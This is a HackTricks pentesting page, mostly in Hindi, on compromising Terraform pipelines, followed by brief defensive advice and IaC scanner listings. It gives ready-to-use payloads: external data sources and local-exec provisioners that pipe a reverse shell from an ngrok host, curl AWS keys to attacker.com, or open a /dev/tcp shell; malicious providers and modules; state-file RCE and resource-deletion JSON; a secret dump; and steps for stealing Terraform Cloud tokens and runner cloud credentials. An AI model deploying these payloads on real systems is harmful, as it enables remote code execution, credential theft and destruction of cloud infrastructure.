Terraform सुरक्षा

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

From the docs:

HashiCorp Terraform एक infrastructure as code tool है जो आपको human-readable configuration फाइलों में दोनों cloud और on-prem resources को परिभाषित करने देता है जिन्हें आप version, reuse, और share कर सकते हैं। आप फिर एक सुसंगत workflow का उपयोग करके अपने पूरे infrastructure को उसके lifecycle के दौरान provision और manage कर सकते हैं। Terraform compute, storage, और networking जैसे low-level components के साथ-साथ DNS entries और SaaS features जैसे high-level components को भी manage कर सकता है।

Terraform कैसे काम करता है?

Terraform cloud platforms और अन्य सेवाओं पर उनके application programming interfaces (APIs) के माध्यम से resources बनाता और manage करता है। Providers Terraform को किसी भी ऐसे प्लेटफ़ॉर्म या सेवा के साथ काम करने में सक्षम बनाते हैं जिनके पास accessible API हो।

HashiCorp और Terraform community ने पहले से ही 1700 से अधिक providers लिखे हैं ताकि हजारों तरह के resources और सेवाओं को manage किया जा सके, और यह संख्या बढ़ती जा रही है। आप सभी publicly available providers को Terraform Registry पर देख सकते हैं, जिनमें Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, और बहुत कुछ शामिल हैं।

Core Terraform workflow तीन चरणों में होता है:

  • Write: आप resources को परिभाषित करते हैं, जो कई cloud providers और सेवाओं में हो सकते हैं। उदाहरण के लिए, आप एक configuration बना सकते हैं जो एक Virtual Private Cloud (VPC) नेटवर्क में virtual machines पर एक application deploy करे, जिसमें security groups और एक load balancer हो।
  • Plan: Terraform एक execution plan बनाता है जो उस इन्फ्रास्ट्रक्चर का वर्णन करता है जो यह create, update, या destroy करेगा, मौजूदा इन्फ्रास्ट्रक्चर और आपकी configuration के आधार पर।
  • Apply: अनुमोदन पर, Terraform प्रस्तावित operations को सही क्रम में निष्पादित करता है, किसी भी resource dependencies का सम्मान करते हुए। उदाहरण के लिए, यदि आप किसी VPC की properties अपडेट करते हैं और उस VPC में virtual machines की संख्या बदलते हैं, तो Terraform virtual machines को स्केल करने से पहले VPC को recreate करेगा।

Terraform लैब

बस अपने कंप्यूटर में Terraform इंस्टॉल करें।

यहाँ आपके पास एक guide है और यहाँ आपके पास Terraform डाउनलोड करने का best way to download terraform है।

RCE in Terraform: config file poisoning

Terraform को कोई ऐसी प्लेटफ़ॉर्म सेवा नहीं देती जो वेब पेज या नेटवर्क सर्विस एक्सपोज़ करे जिसे हम enumerate कर सकें, इसलिए Terraform को compromise करने का एकमात्र तरीका यह है कि आप terraform configuration files को add/modify कर सकें या terraform state file को modify कर सकें (नीचे अध्याय देखें)।

हालाँकि, Terraform compromise करने के लिए एक बहुत संवेदनशील कंपोनेंट है क्योंकि इसे सही ढंग से काम करने के लिए विभिन्न स्थानों पर privileged access की आवश्यकता होती है।

एक attacker के लिए उस सिस्टम को compromise करने का मुख्य तरीका जहाँ Terraform चल रहा है, वह है repository जिसे terraform configurations स्टोर करते हैं उसे compromise करना, क्योंकि किसी न किसी बिंदु पर वे interpret किए जाएंगे।

वास्तव में, ऐसी solutions हैं जो एक PR बनने के बाद terraform plan/apply को स्वचालित रूप से execute कर देती हैं, जैसे Atlantis:

Atlantis Security

यदि आप किसी terraform फ़ाइल को compromise कर पाते हैं तो ऐसे कई तरीके हैं जिनसे आप RCE कर सकते हैं जब कोई terraform plan या terraform apply execute करता है।

Terraform plan

Terraform plan terraform का सबसे ज्यादा इस्तेमाल किया जाने वाला command है और developers/solutions जो Terraform का उपयोग करते हैं वो इसे बार-बार चलाते हैं, इसलिए RCE पाने का सबसे आसान तरीका यह है कि आप ऐसा terraform config file poison करें जो terraform plan में arbitrary commands execute कर दे।

Using an external provider

Terraform external provider ऑफर करता है जो Terraform और external programs के बीच interface प्रदान करने का तरीका देता है। आप external data source का उपयोग करके plan के दौरान arbitrary code चला सकते हैं।

एक terraform config फ़ाइल में निम्नलिखित जैसी चीज inject करने से terraform plan execute करने पर एक rev shell चल जाएगी:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

कस्टम provider का उपयोग

एक attacker custom provider को Terraform Registry पर भेज सकता है और फिर उसे Terraform code में feature branch में जोड़ सकता है (example from here):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Provider को init में डाउनलोड किया जाता है और plan के निष्पादन पर यह दुर्भावनापूर्ण कोड चलाएगा

You can find an example in https://github.com/rung/terraform-provider-cmdexec

बाहरी संदर्भ का उपयोग करना

उल्लिखित दोनों विकल्प उपयोगी हैं लेकिन बहुत छिपे हुए नहीं हैं (दूसरा पहले की तुलना में अधिक छिपा हुआ है पर पहले से अधिक जटिल)। आप इस हमले को और भी अधिक छिपे हुए तरीके से कर सकते हैं, निम्न सुझावों का पालन करके:

  • सीधे terraform file में rev shell जोड़ने की बजाय, आप rev shell को रखने वाले एक बाहरी resource को लोड कर सकते हैं:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

आप rev shell कोड इस लिंक पर पा सकते हैं: https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • बाहरी resource में, repo के अंदर किसी ब्रांच में मौजूद terraform rev shell code को छिपाने के लिए ref फीचर का उपयोग करें, कुछ इस तरह: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply सभी परिवर्तन लागू करने के लिए चलाया जाएगा, आप इसे दुरुपयोग कर RCE प्राप्त कर सकते हैं, local-exec.
आपको बस यह सुनिश्चित करना है कि नीचे दिए गए किसी payload को main.tf फाइल के अंत में रखा गया हो:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

पिछली तकनीक के सुझावों का पालन करें ताकि इस हमले को बाहरी संदर्भों का उपयोग करके और अधिक छिपकर किया जा सके।

Secrets Dumps

आप terraform file में कुछ इस तरह जोड़कर terraform apply चलाने पर secret values used by terraform dumped करा सकते हैं:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Terraform State Files का दुरुपयोग

अगर आपके पास terraform state files पर write access है लेकिन आप terraform code को बदल नहीं सकते, तो this research फाइल का फायदा उठाने के कुछ दिलचस्प विकल्प देती है। भले ही आपके पास config files पर write access हो, state files के वेक्टर का उपयोग अक्सर कहीं ज़्यादा छिपा हुआ (sneaky) होता है, क्योंकि आप git history में निशान नहीं छोड़ते।

RCE in Terraform: config file poisoning

यह संभव है कि आप create a custom provider और terraform state file में से किसी एक provider को malicious वाले से replace कर दें या malicious provider को reference करने वाला एक fake resource जोड़ दें।

The provider statefile-rce इस रिसर्च पर आधारित है और इस सिद्धांत को weaponize करता है। आप एक fake resource जोड़ सकते हैं और attribute command में अपना arbitrary bash command डाल सकते हैं जिसे आप चलाना चाहते हैं। जब terraform run trigger होगा, यह दोनों terraform plan और terraform apply चरणों में पढ़ा और execute किया जाएगा। terraform apply के मामले में, terraform आपके command को execute करने के बाद state file से fake resource को delete कर देगा, अपने आप cleanup करते हुए। अधिक जानकारी और पूरा demo इस provider के source code को होस्ट करने वाले GitHub repository hosting the source code for this provider में पाया जा सकता है।

इसे सीधे उपयोग करने के लिए, बस निम्नलिखित को resources array में किसी भी स्थान पर शामिल करें और name और command attributes को customize करें:

{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

फिर, जैसे ही terraform निष्पादित होता है, आपका कोड चल जाएगा।

संसाधनों को हटाना

संसाधनों को नष्ट करने के 2 तरीके हैं:

  1. नष्ट किए जाने वाले वास्तविक resource की ओर इशारा करते हुए state फ़ाइल में एक यादृच्छिक नाम के साथ resource डालें

क्योंकि terraform देखेगा कि वह resource मौजूद नहीं होना चाहिए, यह उसे नष्ट कर देगा (दिए गए वास्तविक resource ID के अनुसार)। उदाहरण पिछले पृष्ठ से:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Resource को ऐसे संशोधित करें कि उसे अपडेट करना संभव न हो (ताकि वह हटाया जाए और फिर से बनाया जाए)

EC2 instance के लिए, instance के type को बदलना पर्याप्त होता है ताकि terraform उसे हटाकर फिर से बना दे।

ब्लैकलिस्ट किए गए प्रोवाइडर को बदलें

अगर आपको ऐसी स्थिति मिले जहाँ hashicorp/external ब्लैकलिस्ट किया गया हो, तो आप नीचे दिए तरीके से external provider को पुनः लागू (re-implement) कर सकते हैं। नोट: हम external provider के एक fork का उपयोग करते हैं जो https://registry.terraform.io/providers/nazarewk/external/latest पर प्रकाशित है। आप अपना खुद का fork या re-implementation भी प्रकाशित कर सकते हैं।

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

तब आप सामान्य रूप से external का उपयोग कर सकते हैं।

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Terraform Cloud speculative plan RCE and credential exfiltration

यह परिदृश्य Terraform Cloud (TFC) runners का speculative plans के दौरान दुरुपयोग करके लक्ष्य क्लाउड खाते में pivot करने का तरीका दिखाता है।

  • पूर्वशर्तें:

  • एक developer मशीन से Terraform Cloud token चुराएँ। CLI tokens को plaintext में ~/.terraform.d/credentials.tfrc.json पर स्टोर करता है।

  • टोकन के पास लक्ष्य organization/workspace तक पहुँच और कम से कम plan permission होना चाहिए। VCS-backed workspaces CLI से apply को ब्लॉक करते हैं, पर फिर भी speculative plans की अनुमति देते हैं।

  • TFC API के माध्यम से workspace और VCS सेटिंग्स खोजें:

export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
  • speculative plan के दौरान external data source और Terraform Cloud “cloud” block का उपयोग करके VCS-backed workspace को लक्षित करने के लिए code execution ट्रिगर करें:
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}

TFC runner पर reverse shell प्राप्त करने के लिए rsync.sh का उदाहरण:

#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'

ephemeral runner पर प्रोग्राम को निष्पादित करने के लिए एक अनुमानित योजना चलाएँ:

terraform init
terraform plan
  • Runner से injected cloud credentials को enumerate और exfiltrate करें। Runs के दौरान, TFC provider credentials को files और environment variables के माध्यम से inject किया जाता है:
env | grep -i gcp || true
env | grep -i aws || true

Runner की working directory में अपेक्षित फ़ाइलें:

  • GCP:

  • tfc-google-application-credentials (Workload Identity Federation JSON कॉन्फ़िग)

  • tfc-gcp-token (short-lived GCP एक्सेस टोकन)

  • AWS:

  • tfc-aws-shared-config (web identity/OIDC role assumption कॉन्फ़िग)

  • tfc-aws-token (short-lived टोकन; कुछ संगठन स्थिर keys का उपयोग कर सकते हैं)

  • VCS gates को बायपास करने के लिए short-lived credentials को out-of-band तरीके से उपयोग करें:

GCP (gcloud):

export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>

AWS (AWS CLI):

export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity

With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block apply via VCS.

  • रक्षा संबंधी मार्गदर्शन:
  • TFC उपयोगकर्ताओं/टीमों और tokens पर न्यूनतम विशेषाधिकार लागू करें। सदस्यताओं का ऑडिट करें और व्यापक ‘owners’ रोल से बचें।
  • संवेदनशील VCS-backed workspaces पर plan अनुमति जहाँ संभव हो सीमित करें।
  • Sentinel policies के साथ provider/data source allowlists लागू करें ताकि data "external" या अज्ञात providers को ब्लॉक किया जा सके। HashiCorp की provider filtering पर guidance देखें।
  • स्थिर cloud credentials के बजाय OIDC/WIF को प्राथमिकता दें; runners को संवेदनशील मानें। speculative plan runs और unexpected egress की निगरानी करें।
  • tfc-* credential artifacts की exfiltration का पता लगाएँ और plans के दौरान संदिग्ध external program उपयोग पर अलर्ट करें।

Terraform Cloud का समझौता

Using a token

जैसा कि explained in this post, terraform CLI stores tokens in plaintext at ~/.terraform.d/credentials.tfrc.json. चोरी किए गए इस token से एक attacker token के स्कोप के भीतर user का impersonate कर सकता है।

इस token का उपयोग करके org/workspace प्राप्त करना संभव है:

GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>

Then it’s possible to run arbitrary code using terraform plan as explained in the previous chapter.

क्लाउड तक बाहर निकलना

फिर, यदि runner किसी cloud environment में स्थित है, तो runner से जुड़ी principal का token प्राप्त करना और उसे out of band उपयोग करना संभव है।

  • GCP files (present in current run working directory)

  • tfc-google-application-credentials — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.

  • tfc-gcp-token — अल्पकालिक (≈1 hour) GCP access token जो ऊपर संदर्भित है

  • AWS files

  • tfc-aws-shared-config — JSON for web identity federation/OIDC role assumption (preferred over static keys).

  • tfc-aws-token — short‑lived token, या misconfigured होने पर संभावित रूप से static IAM keys।

Automatic Audit Tools

Snyk Infrastructure as Code (IaC)

Snyk एक व्यापक Infrastructure as Code (IaC) स्कैनिंग समाधान प्रदान करता है जो Terraform, CloudFormation, Kubernetes, और अन्य IaC फॉर्मैट्स में कमजोरियाँ और गलत कॉन्फ़िगरेशन का पता लगाता है।

  • Features:
  • रीयल-टाइम स्कैनिंग सुरक्षा कमजोरियों और अनुपालन मुद्दों के लिए।
  • Version control systems (GitHub, GitLab, Bitbucket) के साथ इंटीग्रेशन।
  • Automated fix pull requests।
  • विस्तृत सुधारात्मक सुझाव।
  • Sign Up: Create an account on Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov एक static code analysis tool है infrastructure as code (IaC) के लिए, और images और open source packages के लिए एक software composition analysis (SCA) tool भी है।

यह उन cloud infrastructure को स्कैन करता है जो Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, or OpenTofu का उपयोग करके provision की गई cloud infrastructure को स्कैन करता है, और graph-based scanning का उपयोग करके security और compliance misconfigurations का पता लगाता है।

यह Software Composition Analysis (SCA) scanning करता है, जो open source packages और images में Common Vulnerabilities and Exposures (CVEs) के लिए एक scan है।

pip install checkov
checkov -d /path/to/folder

terraform-compliance

From the docs: terraform-compliance एक हल्का, सुरक्षा और अनुपालन-केंद्रित टेस्ट फ्रेमवर्क है जो terraform के लिए infrastructure-as-code में negative testing की क्षमता प्रदान करता है।

  • compliance: सुनिश्चित करें कि लागू कोड सुरक्षा मानकों और आपके स्वयं के कस्टम मानकों का पालन कर रहा है।
  • behaviour driven development: हमारे पास लगभग हर चीज़ के लिए BDD है, IaC के लिए क्यों नहीं?
  • portable: बस इसे pip से इंस्टॉल करें या docker के जरिए चलाएँ। See Installation
  • pre-deploy: यह आपके कोड को डिप्लॉय होने से पहले वैलिडेट करता है
  • easy to integrate: यह आपके pipeline (या git hooks में) चल सकता है ताकि सभी deployments वैलिडेट हों।
  • segregation of duty: आप अपने टेस्ट एक अलग repository में रख सकते हैं जहाँ एक अलग टीम ज़िम्मेदार होगी।

Note

दुर्भाग्यवश अगर कोड किसी ऐसे providers का उपयोग कर रहा है जिनका आपको एक्सेस नहीं है, तो आप terraform plan नहीं चला पाएँगे और इस टूल को रन नहीं कर पाएँगे।

pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

From the docs: tfsec आपके terraform कोड का static analysis करके संभावित misconfigurations का पता लगाता है।

  • ☁️ सभी प्रमुख (और कुछ छोटे) क्लाउड प्रदाताओं में गलत कॉन्फ़िगरेशन के लिए चेक करता है
  • ⛔ सैकड़ों अंतर्निर्मित नियम
  • 🪆 modules (local और remote) को स्कैन करता है
  • ➕ HCL expressions के साथ-साथ literal values का मूल्यांकन करता है
  • ↪️ Terraform functions जैसे concat() का मूल्यांकन करता है
  • 🔗 Terraform resources के बीच संबंधों का मूल्यांकन करता है
  • 🧰 Terraform CDK के साथ संगत है
  • 🙅 user-defined Rego policies को लागू (और बेहतर बनाता है)
  • 📃 कई output formats का समर्थन करता है: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
  • 🛠️ कॉन्फ़िगर करने योग्य (CLI flags और/या config file के माध्यम से)
  • ⚡ बहुत तेज़, बड़े repositories को जल्दी स्कैन करने में सक्षम
brew install tfsec
tfsec /path/to/folder

terrascan

Terrascan Infrastructure as Code के लिए एक स्टैटिक कोड विश्लेषक है। Terrascan आपको निम्न करने की अनुमति देता है:

  • Infrastructure as Code में misconfigurations को सहजता से स्कैन करना।
  • प्रोविजन किए गए क्लाउड इंफ्रास्ट्रक्चर में उन configuration बदलावों की मॉनिटरिंग करना जो posture drift पैदा करते हैं, और secure posture पर वापस लौटने में सक्षम बनाना।
  • सुरक्षा कमजोरियों और compliance उल्लंघनों का पता लगाना।
  • क्लाउड-नेटिव इंफ्रास्ट्रक्चर को provision करने से पहले जोखिमों को कम करना।
  • लोकल रूप से चलाने या अपने CI\CD के साथ इंटीग्रेट करने की लचीलापन प्रदान करना।
brew install terrascan
terrascan scan -d /path/to/folder

KICKS

अपने infrastructure-as-code के विकास चक्र के शुरुआती चरणों में Checkmarx के KICS के साथ सुरक्षा कमजोरियाँ, अनुपालन समस्याएँ और इन्फ्रास्ट्रक्चर के गलत कॉन्फ़िगरेशन खोजें।

KICS stands for Keeping Infrastructure as Code Secure — यह open source है और किसी भी cloud native परियोजना के लिए एक आवश्यक उपकरण है।

docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

docs के अनुसार: Terrascan Infrastructure as Code के लिए एक static code analyzer है। Terrascan आपको निम्न करने की अनुमति देता है:

  • गलत कॉन्फ़िगरेशन के लिए infrastructure as code को सहजता से scan करें।
  • provisioned cloud infrastructure में ऐसे कॉन्फ़िगरेशन परिवर्तनों की निगरानी करें जो posture drift उत्पन्न करते हों, और secure posture पर वापस लौटने में सक्षम बनें।
  • सुरक्षा कमजोरियों और अनुपालन उल्लंघनों का पता लगाएँ।
  • cloud native infrastructure provisioning से पहले जोखिम कम करें।
  • स्थानीय रूप से चलाने या अपने CI\CD के साथ integrate करने की लचीलापन प्रदान करता है।
brew install terrascan

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें